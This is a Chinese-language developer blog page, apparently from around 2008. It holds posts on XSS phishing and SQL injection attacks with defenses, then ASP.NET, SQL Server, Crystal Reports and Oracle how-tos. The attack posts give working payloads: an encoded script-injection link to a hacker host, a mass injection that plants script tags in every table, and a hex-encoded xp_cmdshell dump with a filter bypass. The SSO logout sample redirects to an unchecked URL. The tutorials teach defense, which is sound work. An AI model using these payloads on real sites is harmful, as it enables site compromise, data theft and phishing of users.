http://trustedsite.com/login.php?msg=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%73%69%74%65%2E%63%6F%6D%2F%70%68%69%73%68%69%6E%67%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

接著只要利用 E-Mail 或者在網路上發佈此連結,誘騙使用者點選此連結登入,使用者帳號及密碼就會自動"異地備份"到駭客手上了。

如何防範
一般使用者不論是在電子郵件、即時通訊軟體或是一般網頁中點選連結時,應提高警覺,留心可疑的過長連結,尤其是連續性冗長的編碼的字串更應避而遠之。

至於,對 XSS 漏洞的防範,在這裡提供幾點建議供 Web 開發人員參考:
  1. 對使用 HTTP GET 方法傳遞的資料,加入防竄改(tamper-proof)機制。有關如何實作 URL tamper-proof 的詳細資訊可參考這裡
  2. 檢查使用者的任何輸入資訊,包含查詢字串、Cookie 或表單欄位,並拒絕任何具危害性的 HTML 標籤。如果你的網頁允許輸入 HTML 資料,也應該限制只允許輸入特定的 HTML 標籤。
  3. 使用 HTML 編碼輸出使用者的輸入資訊。


相關資源:
Passing Tamper-Proof QueryString Parameters by Scott Mitchell

參考文章:
Applying XSS to Phishing Attacks by Nexus

繼續閱讀...

SQL Injection 攻擊實例與防範之道

0 comments
根據近日新聞報導,2008 年四月底開始,在歐美陸續發生資料隱碼(SQL Injection)攻擊事件,最近已蔓延到台灣。在這波攻擊中,台灣已有無數網站受害,大家實在不可不慎。

本文將以微軟的 SQL Server 為背景,並模擬實作這次攻擊事件的 SQL 隱碼來做示範。希望能提供各位對資料隱碼攻擊的方式及原理,有基本認識與警惕。

試想,如果要攻擊一個網站該從何著手呢?首先,我們可以透過要求應用程式的表單輸入欄位或是 HTTP 查詢字串,來尋找可能的程式漏洞。當我們嘗試對應用程式要求含有單引號的表單輸入資訊或是 HTTP 查詢字串,並得到「內部伺服器錯誤」,那就幾乎可以篤定這個應用程式接受來自任何使用者的輸入,而且是藉由串連字串執行 SQL 命令。我們假設伺服器端執行的程式碼如下:
SELECT select_list FROM table_source WHERE column_name = 'anything'';

當程式因為執行語法錯誤的 SQL 陳述式而引發未處理的例外狀況時,無疑也透露程式可能潛在的資料隱碼弱點。這時只要使用查詢分隔符號(;)註解分隔符號(--),就可將惡意程式碼插入字串中,並組合成有效的 SQL 陳述式。以下範例會在預設的資料庫中,植入惡意連結到所有資料表中的長字串欄位:
SELECT select_list FROM table_source WHERE column_name = '';
declare object_cursor cursor
for
select name, id from sysobjects where xtype='U' and category = 0
open object_cursor
declare @stmt nvarchar(4000),@objec_name nvarchar(128), @object_id int, @column_name nvarchar(128)
fetch next from object_cursor into @objec_name, @object_id
while @@fetch_status = 0
begin
declare column_cursor cursor
for
select name from syscolumns where id = @object_id and length >= 255 and xtype in (167,231)
open column_cursor fetch next from column_cursor into @column_name
if @@fetch_status = 0
begin
set @stmt = 'update ' + @objec_name + ' set '
while @@fetch_status = 0
begin
set @stmt = @stmt + @column_name + '=' + @column_name + '+''<script src=''''http://example.com/s.js''''></script>'','
fetch next from column_cursor into @column_name
end
set @stmt = left(@stmt, len(@stmt)-1)
exec( @stmt )
end
close column_cursor
deallocate column_cursor
fetch next from object_cursor into @objec_name, @object_id
end
close object_cursor
deallocate object_cursor--
'


From xkcd

如果你認為只要過濾單引號,就可以防範未然,那就錯了。以下範例將利用 xp_cmdshell 執行以 Hex 編碼轉換後的命令字串,將 sysobjects 資料表輸出至 c:\inetpub\wwwroot\ 目錄:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare @s varchar(255)
select @s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50
exec master..xp_cmdshell @s


如果連單引號跟空白字元都被拒絕輸入呢?以下範例使用註解分隔符號(/**/)替代空白字元依舊可以產生有效的陳述式:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50/**/
exec/**/master..xp_cmdshell/**/@s


如何防範
  1. 不要信任來自使用者的資訊,包括查詢字串、表單變數以及 cookie 值都必須進行驗證及過濾。
  2. 使用參數型命令查詢取代用字串串連的方式建立 SQL 查詢。
  3. 對遠端永遠都使用自訂錯誤訊息網頁,防止內部伺服器錯誤的詳細錯誤資訊洩露在客戶端。
  4. 應用程式所使用的資料庫帳戶,盡可能給予所需的最低權限存取資料庫。

參數命令查詢範例
在 ASP.NET 很多人習慣用以下方式建立 SQL 查詢:
string cmdText = string.Format("SELECT * FROM Users " +
"WHERE username='{0}'", username);
SqlCommand cmd = new SqlCommand(cmdText, conn);

基於安全考量,你應該使用參數型命令查詢。如以下範例:
string cmdText = "SELECT * FROM Users " +
"WHERE Username LIKE @username";
SqlCommand cmd = new SqlCommand(cmdText, conn);
cmd.Parameters.AddWithValue("@username", txtSearch.Text + "%");
SqlDataReader sdr = cmd.ExecuteReader();

當使用者輸入搜尋字串 "someone" 時,ADO.NET 會提交以下如下查詢命令給 SQL Server:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(8)',@username=N'someone%'

但萬一是輸入以下的惡意字串:
'; DROP TABLE Users --

則會產生以下查詢陳述式:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(23)',@username=N'''; DROP TABLE Users --%'

由此可見 ADO.NET 會自動使用兩個單引號置換內嵌的單引號,所以輸入資料永遠被視為字串常數,而非串連成動態 SQL 指令的字串。

善用規則運算式(Regular Expressions)
如果你非要用字串串連的方式建立 SQL 查詢的話,你就要自己篩選輸入資料。以下範例使用規則運算式過濾特殊字元及部份關鍵字:
string inputString = txtSearch.Text;
inputString = Regex.Replace(inputString, @"\b(exec(ute)?|select|update|insert|delete|drop|create)\b|[;']|(-{2})|(/\*.*\*/)", string.Empty, RegexOptions.IgnoreCase);

請注意,如果是使用 LIKE 來執行字串比較,即便是使用參數型命令,你仍需要逸出萬用字元:
Regex re = new Regex(@"(?<EscapeChar>[\[\%_])");
inputString = re.Replace(inputString, "[${EscapeChar}]");

有關 LIKE 語法的詳細資訊,請參考這裡

參考文章:
SQL Injection Attacks by Example by Steve
SQL 資料隱碼 by Microsoft

繼續閱讀...

為你的 Blogger 加入書籤按鈕

14 comments
現在有許多好用的外掛程式可以幫您的 Blogger 加上多個書籤按鈕,尤其像是 AddThisShareThis,更是集合各種社交書籤,且功能更為完整。可惜的是這些好用的外掛程式普遍都沒有支援國內的書籤網站(例如 Hemidemi、My Share 等),有感於此,於是自己才著手寫了這個支援國內書籤按鈕的外掛程式,而且只需要幾個簡單的步驟及少量的 DHTML 程式碼即可完成安裝。

接下來將以 Blogger 新的網頁範本格式(XML)來說明安裝步驟:

1. 進入 Blogger 的管理介面,在[版面配置]點選[修改HTML],並勾選[展開小裝置範本]。

2. 在 <b:skin> 區段中加入以下 CSS 代碼:
.social-button { 
border: 0;
padding: 1px;
width: 16px;
height: 16px;
opacity: .5;
-moz-opacity: .5;
filter: alpha(opacity=50);
}
.social-button:hover {
opacity: 1;
-moz-opacity: 1;
filter: alpha(opacity=100);
}

3. 找到如下的標籤代碼:
<p><data:post.body/></p>

並在其後加入以下程式碼:
<!-- Bookmark Button BEGIN -->
<div align='right'>
<script type='text/javascript'>
_bookmarkTitle = &#39;<data:post.title/>&#39;;
_bookmarkUrl = &#39;<data:post.url/>&#39;;
</script>
<script src='http://renjin.liu.googlepages.com/social_widget.js' type='text/javascript'/>
</div>
<!-- Bookmark Button END -->

4. 儲存範本、測試。



 Download Source Code

繼續閱讀...

如何使用 GridView 的分頁功能

0 comments
ASP.NET 2.0 的 GridView 控制項具有內建的分頁功能,只要透過 DataSourceID 屬性,指定支援直接分頁功能的資料來源控制項(如 SqlDataSource),並將 AllowPaging 屬性設定為 true,即可啟用分頁功能,而不需撰寫任何程式碼。

當使用 DataSourceID 屬性指定資料來源時,則資料控制項(Data-bound Control)就會在執行階段 (Run-Time)自動繫結資料來源控制項。相較於使用 DataSource 屬性,最大的不同就是你就必須明確呼叫 DataBind 方法來繫結資料來源。

所以,如果你是透過 GridView 控制項的 DataSource 屬性繫結資料來源,則當你移動 GridView 控制項的分頁時,便會引發如下的錯誤:
由 GridView 'GridView1' 引發但尚未處理的事件 PageIndexChanging。

這時你必須建立 GridView 控制項的 PageIndexChanging 事件處理常式,為 GridView 控制項指定使用者所選取之頁面的索引,並呼叫 DataBind 方法:
protected void GridView1_PageIndexChanging(object sender, GridViewPageEventArgs e)
{
GridView1.PageIndex = e.NewPageIndex;
GridView1.DataBind();
}

繼續閱讀...

如何使用 OpenDataSource 查詢文字檔

0 comments
OpenDataSource 提供了特定(Ad Hoc)連線資訊作為包含四個部份的物件名稱(Four-part Name)的一部份,而不需使用連結伺服器的名稱。四個部分的名稱一般用於分散式查詢,其格式如下:
linkedserver.catalog.schema.object_name

以下範例藉由 OLE DB Provider for Jet 來查詢文字檔 (test.txt):
select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0', 'Data Source = C:\; Extended Properties = "Text;HDR=NO"')...test#txt

事實上 OpenDataSource 函數就位於前面提到的四個部份的物件名稱中的 linkedserver 位置,所以你應把它視為伺服器,而 test.txt 就是資料表。記得,因為逗點是物件識別名稱的一部份,所以你必須將檔名中的逗號使用 # 符號取代。

連線字串中的 Data Source 需指定來源檔案的所在目錄。Extended Properties 必須包含 Text;除此之外,你可以選擇性指定 HDR=NO 表示文字檔的第一列沒有包含欄位標題,這時 SQL Server 將會自動以 F1 、 F2 、 F3 ... 來命名資料欄位。以上面的查詢範例來說,只能針對以號分隔的文字檔輸出資料欄位,如果你需要查詢特定格式的資料,則必須在 Data Source 目錄下建立 Schema.ini 來指定查詢參數。有關如何建立 Schema.ini 檔的詳細資訊可以參考這裡

以下的 Schema.ini 範例,描述 test.txt 是使用 tab 分隔的文字檔:
[test.txt]
Format=TabDelimited
ColNameHeader=False
MaxScanRows=0
CharacterSet=ANSI

參考文章:
OPENDATASOURCE (Transact-SQL) by Microsoft
Schema.ini File (Text File Driver) by Microsoft

繼續閱讀...

Crystal Reports - 如何在交叉表加入總和百分比

6 comments
本文以 Crystal Reports XI 說明如何使用百分比摘要函數為交叉表加入總和百分比。以下將會逐步說明,帶你完成簡單的銷售報表。

新增報表
請在 Crystal Reports 新增空白報表,並在資料來源設定中,使用 SQL Server 範例資料庫 pubs 作為報表資料來源,並加入以下查詢命令:
SELECT 
stor_name, 'Qtr' + CAST(DATEPART(quarter,ord_date) AS CHAR) AS [quarter],
sum(qty) AS qty
FROM
sales INNER JOIN
stores ON sales.stor_id = stores.stor_id
WHERE YEAR(ord_date) = 1993
GROUP BY stor_name, 'Qtr' + CAST(DATEPART(quarter,ord_date) AS CHAR)

加入群組
在功能表中選擇 [插入]->[群組],分別插入 [命令.stor_name]、[命令.quarter] 兩個資料欄位作為群組依據。

建立公式欄位
建立一個名為 percent_of_total 的公式欄位,並輸入以下公式:
PercentOfSum({命令.qty},{命令.quarter})

加入交叉表
  1. 在功能表中選擇 [插入]->[交叉表...],將交叉表置於 [報表首],並按滑鼠右鍵點選功能表中的 [交叉表專家...]。
  2. 在 [交叉表專家] 視窗中,將交叉表 [可使用的欄位] 中的 [命令.stor_name]、[命令.quarter] 兩個資料欄位,分別加入交叉表的資料列及資料欄,並在摘要欄位加入 [命令.qty] 資料欄位及 [percent_of_total] 公式欄位。
  3. 在摘要欄位中點選 [@percent_of_total 的總和],接著按下位於下方的 [變更摘要...] 按鈕。
  4. 在[編輯摘要]視窗中,在[計算這個摘要]的下拉選單中選擇 [總和],在 [選項] 區段中,啟用從 [資料行] 來 [顯示成百分比]。
  5. 點選 [自訂樣式] 頁籤,在 [摘要欄位] 選項中,點選 [水平],並取消位於 [格線選項] 中 [資料行總和在上方] 及 [資料列總和在左邊] 核取方塊。
  6. 按下 [確定] 按鈕,關閉 [交叉表專家] 視窗。


最後,再隱藏不必要顯示的區段,報表就大致完成了。

繼續閱讀...

解決 ADO.NET 建立 Oracle 資料庫連線的問題

0 comments
當你在 ASP.NET 嘗試使用 System.Data.OleDb.OleDbConnection 來開啟 Oracle 資料庫連線時,可能會發生如下的錯誤訊息:
找不到 Oracle 用戶端及網路元件。這些元件由 Oracle 公司供應且為 Oracle 8i 以上版本用戶端軟體安裝的一部分。在安裝這些元件前您無法使用此提供者。

如果是使用 System.Data.OracleClient 則會發生如下的錯誤訊息:
System.Data.OracleClient requires Oracle client software version 8.1.7 or greater.

因為使用 .NET Framework Data Provider 存取 Oracle 資料庫,需要安裝 Oracle 用戶端軟體 8.1.7 版及更新版本。如果你是在未安裝 Oracle 用戶端軟體的情況下發生這樣的問題,你可以造訪 Oracle 官方網站,下載 Oracle Data Access Components (ODAC)。下載完成後,請執行安裝程式,並在安裝過程中選擇安裝 Oracle Data Provider for .NET。

若是在已安裝 Oracle 用戶端軟體的情況下,可能是 ORACLE_HOME 安裝在 Windows NTFS 磁碟分割區, 導致 ASP.NET 所使用的 Authenticated User 權限找不到 ORACLE_HOME 目錄,才導致這樣的錯誤。在 roytore 所發表的文章中,有提到針對此問題的解決作法:
  1. 以管理者身分登入 Windows。
  2. 使用檔案總管開啟 ORACLE_HOME 資料夾的內容對話盒,並點選 [安全性] 頁籤。
  3. 在群組或使用者清單中,點選 [Authenticated Users]。在下方權限清單中,取消 [讀取及執行] 項目的核取方塊,並按下 [套用]。
  4. 接著按下 [進階] 按鈕,確認 [Authenticated Users] 的權限是 [讀取及執行],且套用在 [這個資料夾,子資料夾及檔案]。
  5. 按下 [確定] 按鈕,直到關閉資料夾內容對話盒。
  6. 重新啟動 Windows。

相關下載:
Oracle Data Access Components (ODAC) Downloads

參考文章:
System.Data.OracleClient requires Oracle client software version 8.1.7 or greater.
by roytore

繼續閱讀...

ASP.NET Single Sign-On

0 comments
如果在相同網域下,建置多個跨伺服器的 ASP.NET 應用程式時,你可以啟用跨應用程式的表單驗證(Forms Authentication),提供單一登入(Single Sign-On)驗證,使用者就不需在切換應用程式時重新驗證。


如果使用表單驗證,則參與共用表單驗證的所有應用程式都要使用相同的機器金鑰(Machine Key)。機器金鑰會是用於檢視狀態(ViewState)及表單驗證票證(Forms Authentication Tickets)的加密、解密以及驗證,在 .NET Framework 1.1 版是定義在 Machine.config 中的 <machineKey> 項目,其預設組態如下:
<machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1"/>

在 .NET Framework 2.0 則是定義在 Machine.config.comments,其預設組態如下:
<machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" decryption="Auto" />

validationKey 屬性值用於建立驗證表單票證的 HMAC 碼(Hashed Message Authentication Code)。decryptionKey 屬性值是用於加密和解密表單驗證票證的金鑰。validation 屬性則是表示產生 HMAC 碼時是使用何種演算法。decryption 屬性是 .NET Framework 2.0 新增的屬性,AES 是解密資料的預設演算法。

所以,如果你沒有在 <machineKey> 項目指定金鑰,預設的組態設定就會使 ASP.NET 為不同的應用程式產生唯一的加密金鑰。因此,若要達到跨應用程式的表單驗證的目的,你就必須覆寫 <machineKey> 項目,為所有 Web 伺服器設定相同的驗證金鑰及相同的驗證演算法。如果組態不一致,Cookie 就不能共用。你可以使用 RNGCryptoServiceProvider 類別自行產生給你所有應用程式通用的驗證金鑰 (validationKey)和解密金鑰(decryptionKey)。

如果你需要 ASP.NET 2.0 的應用程式可以與 ASP.NET 1.1 共用表單驗證票證資訊,則必須在每個 ASP.NET 2.0 應用程式的 <machineKey> 項目組態中加入 decryption="3DES",這是因為在 ASP.NET 1.1 中,是使用 3DES 演算法來加密和解密表單驗證票證。以下是組態設定範例:
<system.web>
<machineKey validationKey="F40C0FF602CF4181C15AA3E494EBC04B8D2C6654A54DD6C12CE39643D0D864CD685C701A655B622C04DCED8B36A1E2B7B5BDDB9F769BEB040FE31974E6FBFBC1" decryptionKey="8CF1335D3E93BBA2F6C3F6A6BF88F37685F4E3979B3A8511" validation="SHA1" decryption="3DES" />
<system.web>

登入驗證
在登入網頁建立自訂的驗證程式碼,檢查使用者名稱與密碼,如果驗證成功,就為該使用者建構 Principal 物件,並將它存入 HttpContext.User 中。在傳送表單驗證 Cookie 到用戶端前,你必須先設定 Cookie 的 Domain 屬性。以下是實作登入網頁的範例程式碼:
protected void _btnLogin_Click(object sender, EventArgs e)
{
SitePrincipal principal = SitePrincipal.ValidateLogin(_txtUserName.Text, _txtUserPass.Text);
if(principal != null)
{
Context.User = principal;
HttpCookie cookie =
FormsAuthentication.GetAuthCookie(principal.Identity.Name, _chkAutoLogin.Checked);
cookie.Domain = "yourwebsite.com";
Response.AppendCookie(cookie);
Response.Redirect(
FormsAuthentication.GetRedirectUrl(principal.Identity.Name, _chkAutoLogin.Checked));
}
else
{
_lblMessage.Text = "Wrong username or password";
}
}

程式碼所使用的 SitePrincipal 類別是實作 System.Security.Principal.IPrincipal 介面的自訂類別,請自行下載原始碼引用到你的應用程式。

啟用表單驗證
<system.web>
<authentication mode="Forms">
<forms name=".YourAppName" loginUrl="Login.aspx" protection="All" timeout="30" path="/" />
</authentication>
</system.web>

你應該在 <forms> 項目指定自己的 name 及 path 屬性,並且必須確定在你的所有的應用程式中保持一致的組態設定。protection 屬性是用來指定保護 Cookie 的方法,其預設值為 All(也是建議值),這會使 ASP.NET 同時使用驗證和加密金鑰來保護 Cookie。

處理驗證要求
在應用程式初始驗證要求時,你還必須檢查使用者是否已經過驗證。如果順利取得 Cookie,接著就可進行票證解密,取得使用者資訊,建立 Principal 物件。請在所有應用程式的 Global.asax 實作 Application_AuthenticateRequest 事件處理常式:
protected void Application_AuthenticateRequest(Object sender, EventArgs e)
{
HttpCookie authCookie = Request.Cookies[FormsAuthentication.FormsCookieName];
if(authCookie != null)
{
FormsAuthenticationTicket authTicket = FormsAuthentication.Decrypt(authCookie.Value);
string userName = authTicket.Name;
SitePrincipal principal = new SitePrincipal(userName);
Context.User = principal;
}
}

當呼叫 FormsAuthentication.Decrypt 方法擷取表單驗證 Cookie 時,會參考 <machineKey> 項目中的指定的 decryptionKey 值解密票證值。

登出機制
從應用程式中登出該使用者,通常只要使用 System.Web.Security.FormsAuthentication.SignOut() 就可以從瀏覽器移除表單驗證 Cookie。但是 SignOut() 方法無法處理有網域關聯的 Cookie,所以你必須手動移除表單驗證 Cookie。以下是實作登出網頁的範例程式碼:
private void Page_Load(object sender, System.EventArgs e)
{
System.Web.HttpCookie cookie =
Request.Cookies[System.Web.Security.FormsAuthentication.FormsCookieName];

if (cookie!=null)
{
cookie.Domain = "yourwebsite.com";
cookie.Expires = DateTime.Now.AddDays(-1);
Response.Cookies.Add(cookie);
}

if (Request.QueryString["ReturnURL"]!=null)
{
Response.Redirect(Request.QueryString["ReturnURL"]));
}
else
{
Response.Redirect("~/Default.aspx");
}
}

完成後,你就可以在頁面程式碼中,使用 Request.IsAuthenticated 屬性檢查目前的連線要求是否驗證成功。以下是在 Page_Load 事件處理常式的範例程式碼:
private void Page_Load(object sender, System.EventArgs e)
{
if (!Request.IsAuthenticated)
{
Response.Redirect(string.Format("~/Login.aspx?ReturnURL={0}",
Server.UrlEncode(Request.PathInfo)));
}
}

相關資源:
Understanding the Forms Authentication Ticket and Cookie by Microsoft

參考資料:
Single sign-on across multiple applications in ASP.NET by Michal Altair Valasek
建置安全的 ASP.NET 應用程式: 驗證、授權和安全通訊 by Microsoft
How To: Configure MachineKey in ASP.NET 2.0 by Microsoft
How To: Protect Forms Authentication in ASP.NET 2.0 by Microsoft
Explained: Forms Authentication in ASP.NET 2.0 by Microsoft
驗證與授權 (探索 .NET) by Microsoft

繼續閱讀...